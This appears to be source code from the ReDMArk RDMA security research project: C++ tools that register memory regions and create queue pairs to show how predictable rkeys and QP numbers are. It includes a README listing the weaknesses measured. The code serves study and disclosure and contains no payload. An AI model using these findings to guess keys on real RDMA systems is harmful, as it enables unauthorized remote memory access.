hist.insert({diff, 1}); 138 | } 139 | } 140 | printf("\nHistogram of differences [difference->count]: "); 141 | for(auto &elem : hist) { 142 | printf("[%lld->%d] ",elem.first, elem.second); 143 | } 144 | 145 | printf("\n"); 146 | printf("\n"); 147 | } 148 | 149 | void test_exhaust(struct ibv_context *ctxt,struct ibv_pd *pd){ 150 | // register our userspace buffer with the HCA 151 | struct ibv_cq *cq = ibv_create_cq(ctxt, 1, NULL,NULL,0); 152 | // fill in a big struct of queue pair parameters 153 | struct ibv_qp_init_attr qpia; 154 | memset(&qpia, 0, sizeof(qpia)); 155 | qpia.send_cq = cq; 156 | qpia.recv_cq = cq; 157 | qpia.cap.max_send_wr = 1; // max outstanding send requests 158 | qpia.cap.max_recv_wr = 1; // max outstanding recv requests 159 | qpia.cap.max_send_sge = 1; // max send scatter-gather elements 160 | qpia.cap.max_recv_sge = 1; // max recv scatter-gather elements 161 | qpia.cap.max_inline_data = 0; // max bytes of immediate data on send q 162 | qpia.qp_type = IBV_QPT_RC; // RC, UC, UD, or XRC 163 | qpia.sq_sig_all = 0; // only generate CQEs on requested WQEs 164 | 165 | std::vector all_qps; 166 | uint32_t maxqp = 0; 167 | uint32_t minqp = 0xFFFFFFFF; 168 | uint32_t i = 0; 169 | while(true){ 170 | struct ibv_qp *qp = ibv_create_qp(pd, &qpia); 171 | 172 | if (qp == NULL) { 173 | fprintf(stderr, "failed to create queue pair, after: %d\n",i); 174 | break; 175 | } 176 | if(qp->qp_num > maxqp) maxqp = qp->qp_num ; 177 | if(qp->qp_num < minqp) minqp = qp->qp_num ; 178 | all_qps.push_back(qp); 179 | i++; 180 | } 181 | printf("The max qpn: %u, The min qpn: %u\n",maxqp,minqp); 182 | for( auto qp : all_qps){ 183 | // create the queue pair 184 | //printf("%u ",qp->qp_num); 185 | ibv_destroy_qp(qp); 186 | } 187 | 188 | } 189 | 190 | int 191 | main(int argc, char **argv) 192 | { 193 | 194 | auto allparams = parse(argc,argv); 195 | 196 | uint32_t qpn_num = allparams["num"].as(); 197 | 198 | struct ibv_device *dev = NULL; 199 | 200 | const char * devname = NULL; 201 | if(allparams.count("dev")){ 202 | devname = allparams["dev"].as().c_str(); 203 | } 204 | 205 | dev = ibFindDevice(devname); 206 | if (dev == NULL) { 207 | fprintf(stderr, "failed to find infiniband device\n"); 208 | exit(1); 209 | } 210 | 211 | printf("Using ib device `%s'.\n", dev->name); 212 | 213 | struct ibv_context *ctxt = ibv_open_device(dev); 214 | if (ctxt == NULL) { 215 | fprintf(stderr, "failed to open infiniband device\n"); 216 | exit(1); 217 | } 218 | 219 | struct ibv_pd *pd = ibv_alloc_pd(ctxt); 220 | if (pd == NULL) { 221 | fprintf(stderr, "failed to allocate protection domain\n"); 222 | exit(1); 223 | } 224 | 225 | test_qps(ctxt,pd,qpn_num); 226 | 227 | if(allparams.count("exhaust")){ 228 | test_exhaust(ctxt,pd); 229 | } 230 | 231 | return 0; 232 | } 233 | -------------------------------------------------------------------------------- /rkey_tests/Makefile: -------------------------------------------------------------------------------- 1 | APPS = main 2 | 3 | LDFLAGS = -libverbs -lpthread #-ldl 4 | CFLAGS += -Wall -std=c++11 -I./ 5 | 6 | all: CFLAGS += -O2 7 | all: ${APPS} 8 | 9 | main: clean 10 | g++ main.cpp $(CFLAGS) $(LDFLAGS) -o main 11 | clean: 12 | $(foreach fname,${APPS}, rm -f ${fname}) 13 | 14 | 15 | debug: CFLAGS += -DDEBUG -g -O0 16 | debug: ${APPS} 17 | 18 | .DELETE_ON_ERROR: 19 | .PHONY: all clean 20 | -------------------------------------------------------------------------------- /rkey_tests/README.md: -------------------------------------------------------------------------------- 1 | # (V1) Memory Protection Key Randomness 2 | 3 | 4 | The test prints rkeys of memory regions for various allocation/deallocation scenarios. 5 | 6 | 7 | ## Requirements 8 | * GCC >= 4.9 with C++11 features 9 | * rdma-core library, or equivalent RDMA verbs library 10 | 11 | ## Usage 12 | 13 | Basic usage example 14 | ``` 15 | make 16 | ./main --help 17 | ``` 18 | 19 | # (V2) Static Initialization State for Key Generation 20 | 21 | The same tool can be used to print rkeys after a reboot. 22 | 23 | 24 | 25 | # (V3) Shared Key Generator 26 | 27 | Two instances of the tool can be run simultaneously to see the correlation between generated keys. -------------------------------------------------------------------------------- /rkey_tests/main.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * Launch a test to show predictability of rkey's of subsequent memory registrations. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | #include "cxxopts.hpp" 22 | 23 | const size_t PAGE_SIZE = 4096 ; 24 | 25 | char* page; 26 | 27 | 28 | static struct ibv_device * 29 | ibFindDevice(const char *name) 30 | { 31 | struct ibv_device **devices; 32 | 33 | devices = ibv_get_device_list(NULL); 34 | if (devices == NULL) 35 | return NULL; 36 | 37 | if (name == NULL) 38 | return devices[0]; 39 | 40 | for (int i = 0; devices[i] != NULL; i++) { 41 | if (strcmp(devices[i]->name, name) == 0) 42 | return devices[i]; 43 | } 44 | 45 | return NULL; 46 | } 47 | 48 | 49 | void test_rereg(struct ibv_pd *pd, uint32_t N){ 50 | // register our userspace buffer with the HCA 51 | uint32_t firstkey = 0; 52 | printf("[Test0] We register and immediately deregister the same buffer with remote access.\nRkeys: \n"); 53 | for(uint32_t i=0; i< N; i++){ 54 | struct ibv_mr *mr = ibv_reg_mr(pd, page, PAGE_SIZE, IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_READ); 55 | if (mr == NULL) { 56 | fprintf(stderr, "failed to register memory region\n"); 57 | exit(1); 58 | } 59 | 60 | if(i!=0 && firstkey == mr->rkey){ 61 | printf("\nThe key was repeated after %u registrations\n",i); 62 | return; 63 | } 64 | 65 | if(firstkey==0){ 66 | firstkey = mr->rkey; 67 | } 68 | 69 | printf("0x%X ",mr->rkey); 70 | int ret = ibv_dereg_mr(mr); 71 | if (ret!=0) { 72 | fprintf(stderr, "failed to de-register memory region\n"); 73 | exit(1); 74 | } 75 | } 76 | printf("\n"); 77 | } 78 | 79 | 80 | void test_rereg1(struct ibv_pd *pd, uint32_t N){ 81 | // register our userspace buffer with the HCA 82 | uint32_t firstkey = 0; 83 | printf("[Test1] We register and immediately deregister different buffers with remote access.\nRkeys: \n"); 84 | for(uint32_t i=0; i< N; i++){ 85 | 86 | char * buf = (char*)mmap(NULL , PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED , -1, 0); 87 | if(buf == MAP_FAILED){ 88 | perror("mmap failed"); 89 | exit(1); 90 | } 91 | 92 | struct ibv_mr *mr = ibv_reg_mr(pd, buf, PAGE_SIZE, IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_READ); 93 | if (mr == NULL) { 94 | fprintf(stderr, "failed to register memory region\n"); 95 | exit(1); 96 | } 97 | 98 | if(i!=0 && firstkey == mr->rkey){ 99 | printf("\nThe key was repeated after %u registrations\n",i); 100 | return; 101 | } 102 | 103 | if(firstkey==0){ 104 | firstkey = mr->rkey; 105 | } 106 | 107 | printf("0x%X ",mr->rkey); 108 | int ret = ibv_dereg_mr(mr); 109 | if (ret!=0) { 110 | fprintf(stderr, "failed to de-register memory region\n"); 111 | exit(1); 112 | } 113 | munmap(buf,PAGE_SIZE); 114 | } 115 | printf("\n"); 116 | } 117 | 118 | 119 | void test_rereg2(struct ibv_pd *pd, uint32_t N){ 120 | // register our userspace buffer with the HCA 121 | uint32_t firstkey = 0; 122 | printf("[Test2] We register and immediately deregister the same buffer with local access.\nRkeys: \n"); 123 | for(uint32_t i=0; i< N; i++){ 124 | struct ibv_mr *mr = ibv_reg_mr(pd, page, PAGE_SIZE, IBV_ACCESS_LOCAL_WRITE); 125 | if (mr == NULL) { 126 | fprintf(stderr, "failed to register memory region\n"); 127 | exit(1); 128 | } 129 | 130 | if(i!=0 && firstkey == mr->rkey){ 131 | printf("\nThe key was repeated after %u registrations\n",i); 132 | return; 133 | } 134 | 135 | if(firstkey==0){ 136 | firstkey = mr->rkey; 137 | } 138 | 139 | printf("0x%X ",mr->rkey); 140 | int ret = ibv_dereg_mr(mr); 141 | if (ret!=0) { 142 | fprintf(stderr, "failed to de-register memory region\n"); 143 | exit(1); 144 | } 145 | } 146 | printf("\n"); 147 | } 148 | 149 | 150 | void test_rereg3(struct ibv_pd *pd, uint32_t N){ 151 | // register our userspace buffer with the HCA 152 | uint32_t firstkey = 0; 153 | printf("[Test3] We register the same buffer with remote access.\nRkeys: \n"); 154 | std::list v; 155 | 156 | for(uint32_t i=0; i< N; i++){ 157 | struct ibv_mr *mr = ibv_reg_mr(pd, page, PAGE_SIZE, IBV_ACCESS_REMOTE_WRITE| IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_READ); 158 | if (mr == NULL) { 159 | fprintf(stderr, "failed to register memory region\n"); 160 | exit(1); 161 | } 162 | v.push_back(mr); 163 | 164 | if(i!=0 && firstkey == mr->rkey){ 165 | printf("\nThe key was repeated after %u registrations\n",i); 166 | return; 167 | } 168 | 169 | if(firstkey==0){ 170 | firstkey = mr->rkey; 171 | } 172 | 173 | printf("0x%X ",mr->rkey); 174 | } 175 | printf("\n"); 176 | 177 | for (auto x : v){ 178 | int ret = ibv_dereg_mr(x); 179 | if (ret!=0) { 180 | fprintf(stderr, "failed to de-register memory region\n"); 181 | exit(1); 182 | } 183 | } 184 | } 185 | 186 | 187 | 188 | void test_rereg4(struct ibv_pd *pd, uint32_t N){ 189 | // register our userspace buffer with the HCA 190 | uint32_t firstkey = 0; 191 | printf("[Test4] We register the same buffer with local access.\nRkeys: \n"); 192 | std::list v; 193 | 194 | for(uint32_t i=0; i< N; i++){ 195 | char * buf = (char*)mmap(NULL , PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED , -1, 0); 196 | if(buf == MAP_FAILED){ 197 | perror("mmap failed"); 198 | exit(1); 199 | } 200 | 201 | struct ibv_mr *mr = ibv_reg_mr(pd, buf, PAGE_SIZE, IBV_ACCESS_LOCAL_WRITE); 202 | if (mr == NULL) { 203 | fprintf(stderr, "failed to register memory region\n"); 204 | exit(1); 205 | } 206 | v.push_back(mr); 207 | 208 | if(i!=0 && firstkey == mr->rkey){ 209 | printf("\nThe key was repeated after %u registrations\n",i); 210 | return; 211 | } 212 | 213 | if(firstkey==0){ 214 | firstkey = mr->rkey; 215 | } 216 | 217 | printf("0x%X ",mr->rkey); 218 | } 219 | printf("\n"); 220 | 221 | for (auto x : v){ 222 | char* buf = (char*)x->addr; 223 | int ret = ibv_dereg_mr(x); 224 | if (ret!=0) { 225 | fprintf(stderr, "failed to de-register memory region\n"); 226 | exit(1); 227 | } 228 | munmap(buf,PAGE_SIZE); 229 | } 230 | } 231 | 232 | void test_rereg5(struct ibv_pd *pd, uint32_t N){ 233 | // register our userspace buffer with the HCA 234 | uint32_t firstkey = 0; 235 | printf("[Test5] We register five times the same buffer with remote access, and then deregister the oldest registration.\nRkeys: \n"); 236 | std::list v; 237 | 238 | for(uint32_t i=0; i< N; i++){ 239 | struct ibv_mr *mr = ibv_reg_mr(pd, page, PAGE_SIZE, IBV_ACCESS_LOCAL_WRITE); 240 | if (mr == NULL) { 241 | fprintf(stderr, "failed to register memory region\n"); 242 | exit(1); 243 | } 244 | 245 | if(i!=0 && firstkey == mr->rkey){ 246 | printf("\nThe key was repeated after %u registrations\n",i); 247 | return; 248 | } 249 | 250 | if(firstkey==0){ 251 | firstkey = mr->rkey; 252 | } 253 | 254 | printf("0x%X ",mr->rkey); 255 | if(i>0 && i%5==0){ 256 | int ret = ibv_dereg_mr(v.front()); 257 | if (ret!=0) { 258 | fprintf(stderr, "failed to de-register memory region\n"); 259 | exit(1); 260 | } 261 | v.pop_front(); 262 | v.push_back(mr); 263 | } else { 264 | v.push_back(mr); 265 | } 266 | 267 | } 268 | printf("\n"); 269 | 270 | for (auto x : v){ 271 | int ret = ibv_dereg_mr(x); 272 | if (ret!=0) { 273 | fprintf(stderr, "failed to de-register memory region\n"); 274 | exit(1); 275 | } 276 | } 277 | } 278 | 279 | 280 | 281 | void test_rereg6(struct ibv_pd *pd, uint32_t N){ 282 | // register our userspace buffer with the HCA 283 | uint32_t firstkey = 0; 284 | printf("[Test6] We register two times the same buffer with local access, and then deregister the latest registration.\nRkeys: \n"); 285 | std::list v; 286 | 287 | for(uint32_t i=0; i< N; i++){ 288 | struct ibv_mr *mr = ibv_reg_mr(pd, page, PAGE_SIZE, IBV_ACCESS_LOCAL_WRITE); 289 | if (mr == NULL) { 290 | fprintf(stderr, "failed to register memory region\n"); 291 | exit(1); 292 | } 293 | 294 | if(i!=0 && firstkey == mr->rkey){ 295 | printf("\nThe key was repeated after %u registrations\n",i); 296 | return; 297 | } 298 | 299 | if(firstkey==0){ 300 | firstkey = mr->rkey; 301 | } 302 | 303 | printf("0x%X ",mr->rkey); 304 | if(i>0 && i%2==0){ 305 | int ret = ibv_dereg_mr(mr); 306 | if (ret!=0) { 307 | fprintf(stderr, "failed to de-register memory region\n"); 308 | exit(1); 309 | } 310 | } else { 311 | v.push_back(mr); 312 | } 313 | 314 | } 315 | printf("\n"); 316 | 317 | for (auto x : v){ 318 | int ret = ibv_dereg_mr(x); 319 | if (ret!=0) { 320 | fprintf(stderr, "failed to de-register memory region\n"); 321 | exit(1); 322 | } 323 | } 324 | } 325 | 326 | 327 | void test_rereg7(struct ibv_pd *pd, uint32_t N){ 328 | // register our userspace buffer with the HCA 329 | uint32_t firstkey = 0; 330 | printf("[Test7] We register five times the same buffer with local access, and then deregister two latest registrations.\nRkeys: \n"); 331 | std::list v; 332 | 333 | for(uint32_t i=0; i< N; i++){ 334 | struct ibv_mr *mr = ibv_reg_mr(pd, page, PAGE_SIZE, IBV_ACCESS_LOCAL_WRITE); 335 | if (mr == NULL) { 336 | fprintf(stderr, "failed to register memory region\n"); 337 | exit(1); 338 | } 339 | 340 | if(i!=0 && firstkey == mr->rkey){ 341 | printf("\nThe key was repeated after %u registrations\n",i); 342 | return; 343 | } 344 | 345 | if(firstkey==0){ 346 | firstkey = mr->rkey; 347 | } 348 | 349 | printf("0x%X ",mr->rkey); 350 | if(i>0 && i%5==0){ 351 | int ret = ibv_dereg_mr(v.front()); 352 | if (ret!=0) { 353 | fprintf(stderr, "failed to de-register memory region\n"); 354 | exit(1); 355 | } 356 | v.pop_front(); 357 | ret = ibv_dereg_mr(v.front()); 358 | if (ret!=0) { 359 | fprintf(stderr, "failed to de-register memory region\n"); 360 | exit(1); 361 | } 362 | v.pop_front(); 363 | 364 | v.push_back(mr); 365 | } else { 366 | v.push_back(mr); 367 | } 368 | 369 | } 370 | printf("\n"); 371 | 372 | for (auto x : v){ 373 | int ret = ibv_dereg_mr(x); 374 | if (ret!=0) { 375 | fprintf(stderr, "failed to de-register memory region\n"); 376 | exit(1); 377 | } 378 | } 379 | } 380 | 381 | 382 | 383 | 384 | #ifdef IBV_MW_TYPE_1 385 | void test_mw1(struct ibv_context *ctxt,struct ibv_pd *pd, uint32_t N){ 386 | 387 | struct ibv_mr *mr = ibv_reg_mr(pd, page, PAGE_SIZE, IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_READ); 388 | if (mr == NULL) { 389 | fprintf(stderr, "failed to register memory region\n"); 390 | exit(1); 391 | } 392 | printf("0x%X \n",mr->rkey); 393 | struct ibv_mw *mw = ibv_alloc_mw(pd,IBV_MW_TYPE_1); 394 | if(mw==NULL){ 395 | printf("Cannot register mw\n"); 396 | return; 397 | } 398 | 399 | printf("0x%X \n",mw->rkey); 400 | struct ibv_cq *cq = ibv_create_cq(ctxt, 1, NULL,NULL,0); 401 | 402 | 403 | // fill in a big struct of queue pair parameters 404 | struct ibv_qp_init_attr qpia; 405 | memset(&qpia, 0, sizeof(qpia)); 406 | qpia.send_cq = cq; 407 | qpia.recv_cq = cq; 408 | qpia.cap.max_send_wr = 1; // max outstanding send requests 409 | qpia.cap.max_recv_wr = 1; // max outstanding recv requests 410 | qpia.cap.max_send_sge = 1; // max send scatter-gather elements 411 | qpia.cap.max_recv_sge = 1; // max recv scatter-gather elements 412 | qpia.cap.max_inline_data = 0; // max bytes of immediate data on send q 413 | qpia.qp_type = IBV_QPT_RC; // RC, UC, UD, or XRC 414 | qpia.sq_sig_all = 0; // only generate CQEs on requested WQEs 415 | 416 | struct ibv_qp *qp = ibv_create_qp(pd, &qpia); 417 | 418 | struct ibv_mw_bind mw_bind; 419 | memset(&mw_bind, 0, sizeof(mw_bind)); 420 | mw_bind.wr_id = 1; 421 | mw_bind.send_flags = IBV_SEND_SIGNALED; 422 | mw_bind.bind_info.mr = mr; 423 | mw_bind.bind_info.addr = (uint64_t)page; 424 | mw_bind.bind_info.length = PAGE_SIZE; 425 | mw_bind.bind_info.mw_access_flags = IBV_ACCESS_REMOTE_WRITE; 426 | 427 | 428 | int ret = ibv_bind_mw(qp, mw, &mw_bind ); 429 | if(ret == 0){ 430 | printf("bind success\n"); 431 | printf("0x%X \n",mw->rkey); 432 | 433 | } 434 | 435 | } 436 | 437 | void test_mw2(struct ibv_context *ctxt,struct ibv_pd *pd, uint32_t N){ 438 | 439 | struct ibv_mr *mr = ibv_reg_mr(pd, page, PAGE_SIZE, IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_READ); 440 | if (mr == NULL) { 441 | fprintf(stderr, "failed to register memory region\n"); 442 | exit(1); 443 | } 444 | printf("0x%X \n",mr->rkey); 445 | struct ibv_mw *mw = ibv_alloc_mw(pd,IBV_MW_TYPE_2); 446 | if(mw==NULL){ 447 | printf("Cannot register mw\n"); 448 | return; 449 | } 450 | 451 | printf("0x%X \n",mw->rkey); 452 | struct ibv_cq *cq = ibv_create_cq(ctxt, 1, NULL,NULL,0); 453 | 454 | 455 | // fill in a big struct of queue pair parameters 456 | struct ibv_qp_init_attr qpia; 457 | memset(&qpia, 0, sizeof(qpia)); 458 | qpia.send_cq = cq; 459 | qpia.recv_cq = cq; 460 | qpia.cap.max_send_wr = 1; // max outstanding send requests 461 | qpia.cap.max_recv_wr = 1; // max outstanding recv requests 462 | qpia.cap.max_send_sge = 1; // max send scatter-gather elements 463 | qpia.cap.max_recv_sge = 1; // max recv scatter-gather elements 464 | qpia.cap.max_inline_data = 0; // max bytes of immediate data on send q 465 | qpia.qp_type = IBV_QPT_RC; // RC, UC, UD, or XRC 466 | qpia.sq_sig_all = 0; // only generate CQEs on requested WQEs 467 | 468 | struct ibv_qp *qp = ibv_create_qp(pd, &qpia); 469 | 470 | 471 | ibv_send_wr wr; 472 | memset(&wr, 0, sizeof(wr)); 473 | wr.wr_id = 1; 474 | wr.opcode = IBV_WR_BIND_MW; 475 | wr.bind_mw.mw = mw; 476 | wr.bind_mw.rkey = ibv_inc_rkey(mw->rkey); 477 | wr.bind_mw.bind_info.mr = mr; 478 | wr.bind_mw.bind_info.addr = (uint64_t)page; 479 | wr.bind_mw.bind_info.length = PAGE_SIZE; 480 | wr.bind_mw.bind_info.mw_access_flags = IBV_ACCESS_REMOTE_WRITE; 481 | ibv_send_wr* badwr; 482 | 483 | int ret = ibv_post_send(qp,&wr,&badwr); 484 | if(ret == 0){ 485 | printf("bind success\n"); 486 | printf("0x%X \n",mw->rkey); 487 | 488 | } 489 | } 490 | #endif 491 | 492 | 493 | 494 | cxxopts::ParseResult 495 | parse(int argc, char* argv[]) 496 | { 497 | cxxopts::Options options(argv[0], "Simple Secure QP client"); 498 | options.positional_help("[optional args]") 499 | .show_positional_help(); 500 | 501 | 502 | try 503 | { 504 | 505 | options.add_options() 506 | ("m,mem", "number of memory registrations", cxxopts::value()->default_value("10"), "N") 507 | ("d,dev", "ib device", cxxopts::value(), "name") 508 | ("h,help", "Print help") 509 | ; 510 | 511 | auto result = options.parse(argc, argv); 512 | 513 | if (result.count("help")) 514 | { 515 | std::cout << options.help({""}) << std::endl; 516 | exit(0); 517 | } 518 | 519 | return result; 520 | 521 | } catch (const cxxopts::OptionException& e) 522 | { 523 | std::cout << "error parsing options: " << e.what() << std::endl; 524 | std::cout << options.help({""}) << std::endl; 525 | exit(1); 526 | } 527 | } 528 | 529 | int main(int argc, char **argv) 530 | { 531 | 532 | auto allparams = parse(argc,argv); 533 | 534 | uint32_t memnum = allparams["mem"].as(); 535 | 536 | struct ibv_device *dev = NULL; 537 | printf("Pagesize %ld [bytes]\n",PAGE_SIZE); 538 | 539 | const char * devname = NULL; 540 | if(allparams.count("dev")){ 541 | devname = allparams["dev"].as().c_str(); 542 | } 543 | 544 | dev = ibFindDevice(devname); 545 | if (dev == NULL) { 546 | fprintf(stderr, "failed to find infiniband device\n"); 547 | exit(1); 548 | } 549 | 550 | printf("Using ib device `%s'.\n", dev->name); 551 | 552 | struct ibv_context *ctxt = ibv_open_device(dev); 553 | if (ctxt == NULL) { 554 | fprintf(stderr, "failed to open infiniband device\n"); 555 | exit(1); 556 | } 557 | 558 | // allocate a protection domain for our memory region 559 | struct ibv_pd *pd = ibv_alloc_pd(ctxt); 560 | if (pd == NULL) { 561 | fprintf(stderr, "failed to allocate infiniband pd\n"); 562 | exit(1); 563 | } 564 | 565 | char * buf = (char*)mmap(NULL , PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED , -1, 0); 566 | if(buf == MAP_FAILED){ 567 | perror("mmap failed"); 568 | exit(1); 569 | } 570 | page = buf; 571 | 572 | 573 | test_rereg(pd,memnum); 574 | test_rereg1(pd,memnum); 575 | test_rereg2(pd,memnum); 576 | test_rereg3(pd,memnum); 577 | test_rereg4(pd,memnum); 578 | test_rereg5(pd,memnum); 579 | test_rereg6(pd,memnum); 580 | test_rereg7(pd,memnum); 581 | 582 | // test_mw1(ctxt,pd,1); 583 | // test_mw2(ctxt,pd,1); 584 | 585 | return 0; 586 | } 587 | --------------------------------------------------------------------------------